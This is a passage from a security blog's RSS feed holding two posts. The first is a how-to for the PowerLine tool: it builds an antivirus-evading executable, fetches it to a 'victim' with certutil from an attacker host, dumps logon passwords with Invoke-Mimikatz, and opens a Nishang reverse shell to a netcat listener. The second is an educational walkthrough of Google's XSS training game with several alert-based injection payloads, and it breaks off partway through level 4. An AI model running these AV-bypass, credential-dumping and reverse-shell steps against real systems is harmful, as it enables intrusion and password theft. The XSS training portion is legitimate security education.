&lt;p&gt;More information:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=HiAtkLa8FOc&quot;&gt;Presentation - A Powerful New Tool: PowerLine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/bvxt8v7d72tdpbr/WEBCAST_061517_slides_PowerLine.pptx?dl=0&quot;&gt;Slides - A Powerful New Tool: PowerLine&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;deployment&quot;&gt;Deployment&lt;/h3&gt;

&lt;p&gt;The deployment is very easy and modular. To have a functional version of PowerLine, the following steps must be followed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Download the Repository: https://github.com/fullmetalcache/PowerLine&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Run the &lt;strong&gt;build.bat&lt;/strong&gt; file&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Update the &lt;strong&gt;UserConf.xml&lt;/strong&gt; document to contain the URLs of the scripts that you’d like to include&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Run the &lt;strong&gt;PLBuilder.exe&lt;/strong&gt; file&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5&lt;/strong&gt; The &lt;strong&gt;PowerLine.exe&lt;/strong&gt; program should now be created and contains embedded, xor-encoded, base64-encoded versions of all of the scripts that you specified&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;execution&quot;&gt;Execution&lt;/h3&gt;

&lt;p&gt;If all the deployment steps were successful, The &lt;strong&gt;PowerLine.exe&lt;/strong&gt; executable should be sent to the victim. In this case, &lt;strong&gt;certutil&lt;/strong&gt; tool is used to get the executable from a remote host.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certutil -urlcache -split -f http://atackerIP/PowerLine.exe PowerLine.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And after the execution of the &lt;strong&gt;Invoke-Mimikatz&lt;/strong&gt; script:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PowerLine.exe Invoke-Mimikatz &quot;Invoke-Mimikatz -Command \&quot;`\&quot;sekurlsa::logonPasswords`\&quot;\&quot;&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The Antivirus is bypassed and the code successfully executed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/3.png&quot; alt=&quot;Mimikatz Bypass&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;windows-10-problem&quot;&gt;Windows 10 problem:&lt;/h3&gt;

&lt;p&gt;There are some problems running &lt;em&gt;Invoke-Mimikatz&lt;/em&gt; with new versions of Windows 10. To solve this, replace the &lt;strong&gt;Invoke-Mimikatz&lt;/strong&gt; url in &lt;strong&gt;UserConf.xml&lt;/strong&gt; to point to:&lt;/p&gt;

&lt;p&gt;https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1&lt;/p&gt;

&lt;p&gt;Error thrown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/4.png&quot; alt=&quot;Error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fix:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/5.png&quot; alt=&quot;Fix&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;reverse-shell-with-nishang&quot;&gt;Reverse Shell with Nishang:&lt;/h3&gt;

&lt;p&gt;In &lt;strong&gt;UserConf.xml&lt;/strong&gt; file, custom ps1 could be specified, in this case, the following line is added to use Nishang reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Remote&amp;gt;https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1&amp;lt;/Remote&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Setting a listener with netcat:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc -lvp ATTACKER_IP&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Could allow us to retrieve a PowerShell Reverse Shell and bypass AV detection:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PowerLine.exe Invoke-PowerShellTcp &quot;Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.35 -Port 14744&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/6.png&quot; alt=&quot;Reverse&quot; /&gt;&lt;/p&gt;

</description>
          <pubDate>2019-01-27T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/Mimikatz-AV-Evasion</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Mimikatz-AV-Evasion</guid>
        </item>
      
    
      
        <item>
          <title>XSS 101 - Solving Google's XSS Challenge</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;XSS 101 - Solving Google's XSS Challenge&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/1.png&quot; alt=&quot;Header&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-a-cross-site-scripting-vulnerability&quot;&gt;What is a Cross-Site Scripting vulnerability?&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Cross-site scripting (XSS)&lt;/strong&gt; is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. Once executed by the victim’s browser, this code could then perform actions such as completely changing the behavior or appearance of the website, stealing private data, performing actions on behalf of the user, save keystrokes, &lt;a href=&quot;https://jlajara.gitlab.io/web/2018/10/18/js-recon.html&quot;&gt;analyze the internal network&lt;/a&gt;, etc.&lt;/p&gt;

&lt;p&gt;XSS vulnerabilities most often happen when user input is incorporated into a web server’s response (i.e., an HTML page) without proper escaping or validation. 
&lt;a href=&quot;https://www.google.com/intl/ko_BJ/about/appsecurity/learning/xss/&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;xss-challenge&quot;&gt;XSS Challenge&lt;/h2&gt;

&lt;p&gt;Google set up an environment to test some XSS vulnerabilities: &lt;a href=&quot;https://xss-game.appspot.com/&quot;&gt;https://xss-game.appspot.com/&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In this training program, you will learn to find and exploit XSS bugs. You’ll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I totally recommend to test by yourself and check this blog if you get stuck and need an extra hint.&lt;/p&gt;

&lt;h3 id=&quot;challenges&quot;&gt;Challenges&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge1&quot;&gt;XSS Challenge 1 - Hello, world of XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge2&quot;&gt;XSS Challenge 2 - Persistence is key&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge3&quot;&gt;XSS Challenge 3 - That sinking feeling…&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge4&quot;&gt;XSS Challenge 4 - Context matters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge5&quot;&gt;XSS Challenge 5 - Breaking protocol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Challenge6&quot;&gt;XSS Challenge 6 - Follow the 🐇&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-1---hello-world-of-xss&quot;&gt;&lt;a name=&quot;Challenge1&quot;&gt;&lt;/a&gt;XSS Challenge 1 - Hello, world of XSS&lt;/h4&gt;

&lt;p&gt;In this application an input text is shown to try some searches. The detection of a possible XSS is important and we need to identify all possible reflections in the application to find a potential attack vector.&lt;/p&gt;

&lt;p&gt;If we try some searches, we could observe that the URL is filled with the param &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;query=&lt;/code&gt; and our search. Let’s try to inject some malicious characters to test how the application handles it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/2.png&quot; alt=&quot;XSS-1-1&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
Sorry, no results were found for &lt;span class=&quot;nt&quot;&gt;&amp;lt;b&amp;gt;&lt;/span&gt;laja&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;. &lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;?&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Try again&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;.
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; that could allow us to create a new HTML element is encoded (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;lt;&lt;/code&gt;), and our browser will not execute it as an html tag… Let’s try to inject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&lt;/code&gt; to see what happens.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/3.png&quot; alt=&quot;XSS-1-3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we analyze the response we can see that the character now is not encoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&amp;lt;script)&lt;/code&gt;, therefore, the browser could interpret it and execute some code.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
Sorry, no results were found for &lt;span class=&quot;nt&quot;&gt;&amp;lt;b&amp;gt;&lt;/span&gt;laja&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;b=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Try&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;again&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/a&amp;gt;.&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/b&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/div&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s finish our payload to execute some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert&lt;/code&gt;. In XSS, alert’s are used to check if a correct JavaScript injections is performed, because is harmless and is easily identifiable.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/4.png&quot; alt=&quot;XSS-1-4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This XSS are called &lt;strong&gt;reflected XSS&lt;/strong&gt; because they are non-persistent XSS attacks and the payload should be included in the URL to perfom a successful exploitation.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level1/frame?query=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-2---persistence-is-key&quot;&gt;&lt;a name=&quot;Challenge2&quot;&gt;&lt;/a&gt;XSS Challenge 2 - Persistence is key&lt;/h4&gt;

&lt;p&gt;This application is a chat. Chat conversations are stored in a database and retrieved when a user wants to see the conversation. Therefore, if a malicious user injects some JavaScript code, all visitors will be infected. These XSS is more harmful that reflected XSS, and is called &lt;strong&gt;stored XSS&lt;/strong&gt;. An attacker will only need to force the user to visit the site where the payload is stored, the attacker doesn’t need to send the payload in the URL.&lt;/p&gt;

&lt;p&gt;In the enumeration phase, if we try to inject some malicious payloads, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;, we see that the code is not being executed.&lt;/p&gt;

&lt;p&gt;Maybe we can not inject the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag… let’s try some different execution.&lt;/p&gt;

&lt;p&gt;In HTML, we could use &lt;a href=&quot;https://www.w3schools.com/tags/ref_eventattributes.asp&quot;&gt;HTML Event Attributes&lt;/a&gt; that gives the ability to let events trigger actions in a browser, like starting a JavaScript when a user clicks on an element.&lt;/p&gt;

&lt;p&gt;So if we insert and image, with a source that doesn’t exists and we call the event &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onerror&lt;/code&gt; we could perform JavaScript actions… perfect. The following payload will be used.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=&quot;alert(1)&quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/6.png&quot; alt=&quot;XSS-2-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If a user visits the page, the stored XSS will be triggered:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/7.png&quot; alt=&quot;XSS-2-2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are a lot of possible payloads to solve this level:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;svg onload='alert(1)'/&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;input autofocus onfocus=alert(1)&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;video&amp;gt;&amp;lt;source onerror=&quot;JavaScript:alert(1)&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;marquee onstart=alert(1)&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-3---that-sinking-feeling&quot;&gt;&lt;a name=&quot;Challenge3&quot;&gt;&lt;/a&gt;XSS Challenge 3 - That sinking feeling…&lt;/h4&gt;

&lt;p&gt;We see a web application with some buttons that loads different images. If we click in a button &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Image 3&lt;/code&gt;, we could observe that the following URL is created:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level3/frame#3&lt;/code&gt; and the image is changed.&lt;/p&gt;

&lt;p&gt;Let’s try to navigate to a different image that is not offered:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/5.png&quot; alt=&quot;XSS-3-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we analyze the attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&lt;/code&gt; that fails to load we could see:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/static/level3/cloud4.jpg&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Could be possible to inject some attributes in the url?&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level3/frame#4&quot; onerror=&quot;alert(1)&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Double quotes are encoded and we can’t scape the src attribute:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/static/level3/cloud4&amp;amp;quot; onerror=&amp;amp;quot;alert(1)&amp;amp;quot;.jpg&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We should debug the Javacript code to find how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&lt;/code&gt; attribute is constructed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; When we click the button &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Image3&lt;/code&gt; the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chooseTab()&lt;/code&gt; is triggered:
    &lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tab&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tab3&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;chooseTab('3')&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Image 3 &lt;span class=&quot;nt&quot;&gt;&amp;lt;/&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Debugging this functions with our browser, shows us that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt; is parsed to int, and added to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&lt;/code&gt; attribute as following:
    &lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;html += &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/static/level3/cloud&quot; + num + &quot;.jpg'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/8.png&quot; alt=&quot;XSS-3-2&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; Let’s try to inject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4laja' onerror='alert(1)'&lt;/code&gt; and debug it:
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/9.png&quot; alt=&quot;XSS-3-3&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; The final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&lt;/code&gt; attribute will contain:
    &lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/static/level3/cloud4laja'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onerror=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'alert(1)'&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jpg&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/10.png&quot; alt=&quot;XSS-3-4&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-4---context-matters&quot;&gt;&lt;a name=&quot;Challenge4&quot;&gt;&lt;/a&gt;XSS Challenge 4 - Context matters&lt;/h4&gt;

&lt;p&gt;This application is a timer. When we introduce some number, a countdown starts and when it finish, the application alerts that the countdown is finished. Let’s try to inject some potential payload to see how the applications handles is: 
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/11.png&quot; alt=&quot;XSS-4-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we analyze the code, the following is observed:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;level4&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/static/logos/level4.png&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/static/loading.gif&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;startTimer('1000&amp;lt;img src=x/&amp;gt;');&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Your timer will execute in 1000&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;img src=x/&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt; seconds.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;div id=&quot;message&quot;&amp;gt;&lt;/code&gt; is encoded, but the payload is introduced in the the event &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload=&quot;startTimer('1000&amp;lt;img src=x/&amp;gt;');&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If wee inject a simple quote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'&lt;/code&gt; and check the JavaScript console of the browser, the following error is shown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/12.png&quot; alt=&quot;XSS-4-2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The next step is try to inject some payload that escapes the content of the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startTimer&lt;/code&gt; and without breaking the JavaScript code, let us execute the alert function.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; We need to close the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startTimer()&lt;/code&gt; function correctly.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1000')&lt;/code&gt; will be enough to close the function: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload=&quot;startTimer('1000')');&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; Now, we have to fill with a function and seize the remaining &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;')&lt;/code&gt; to have a correct JavaScript syntax, for example:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert('hi&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; We need to concatenate the two functions, using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;,&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;|&lt;/code&gt; for example. The final payload will be:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1000'),alert('hi&lt;/code&gt;
The final element will be:&lt;/p&gt;
